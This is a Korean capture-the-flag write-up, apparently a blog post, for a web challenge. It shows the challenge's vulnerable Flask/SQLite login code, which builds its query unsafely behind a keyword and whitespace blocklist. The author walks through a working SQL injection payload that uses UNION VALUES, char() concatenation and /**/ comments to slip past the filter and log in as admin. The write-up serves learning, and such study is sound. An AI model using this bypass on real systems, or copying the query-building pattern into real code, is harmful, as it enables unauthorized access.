해당 문제는 숙련된 웹해커를 위한 문제라고 한다.... 덜덜
우선 로그인 창에서 값이 어떻게 날라가는 지 확인해보자.
uid와 upw로 넘어가진다.
이제 코드를 확인해보자.
#!/usr/bin/env python3
from flask import Flask, request, render_template, make_response, redirect, url_for, session, g
import urllib
import os
import sqlite3
app = Flask(__name__)
app.secret_key = os.urandom(32)
from flask import _app_ctx_stack
DATABASE = 'users.db'
def get_db():
top = _app_ctx_stack.top
if not hasattr(top, 'sqlite_db'):
top.sqlite_db = sqlite3.connect(DATABASE)
return top.sqlite_db
try:
FLAG = open('./flag.txt', 'r').read()
except:
FLAG = '[**FLAG**]'
@app.route('/')
def index():
return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
uid = request.form.get('uid', '').lower()
upw = request.form.get('upw', '').lower()
level = request.form.get('level', '9').lower()
sqli_filter = ['[', ']', ',', 'admin', 'select', '\'', '"', '\t', '\n', '\r', '\x08', '\x09', '\x00', '\x0b', '\x0d', ' ']
for x in sqli_filter:
if uid.find(x) != -1:
return 'No Hack!'
if upw.find(x) != -1:
return 'No Hack!'
if level.find(x) != -1:
return 'No Hack!'
with app.app_context():
conn = get_db()
query = f"SELECT uid FROM users WHERE uid='{uid}' and upw='{upw}' and level={level};"
try:
req = conn.execute(query)
result = req.fetchone()
if result is not None:
uid = result[0]
if uid == 'admin':
return FLAG
except:
return 'Error!'
return 'Good!'
@app.teardown_appcontext
def close_connection(exception):
top = _app_ctx_stack.top
if hasattr(top, 'sqlite_db'):
top.sqlite_db.close()
if __name__ == '__main__':
os.system('rm -rf %s' % DATABASE)
with app.app_context():
conn = get_db()
conn.execute('CREATE TABLE users (uid text, upw text, level integer);')
conn.execute("INSERT INTO users VALUES ('dream','cometrue', 9);")
conn.commit()
app.run(host='0.0.0.0', port=8001)
우선 서버가 실행될 때 마다 DATABASE를 지운다.
admin으로 로그인 되어야 플래그를 출력해준다. 있으면 안되는 값에 admin이 있는데 이는 chr로 우회할 수 있을 것 같다. query를 보면 level은 작은 따옴표가 존재하지 않아 취약하다고 볼 수 있겠다. 그러므로 level에 UNION을 붙인다면 음 admin을 가져올 수 있지 않을까?
admin 값을 필터링하는데, 이는 chr로 우회할 수 있을 것 같다.
https://caliou.tistory.com/232
sqlite를 이용하여 문자열을 붙일 때는 ||를 사용하기도 한다.
우선 내가 생각한 쿼리는 아래와 같다.
uid=a&upw=a&level=0 UNION values(char(97)||char(100)||char(109)||char(105)||char(110))
하지만 위와같이 넘기게 된다면 뜨거운 No Hack!을 맞보게 된다. 아니 sqli_filter 부분에 공백이 있는 것을 확인 못했던 것이다. ㅜㅜ 공백을 어떻게 우회할 수 있을 지 고민해보았다. 그러던 중 SQLite의 whitespace 우회법을 찾게 되었고 혹시나 해서 시도를 해보았다.
uid=a&upw=a&level=0/**/UNION/**/ values(char(97)||char(100)||char(109)||char(105)||char(110))
이러면 풀린다. 히히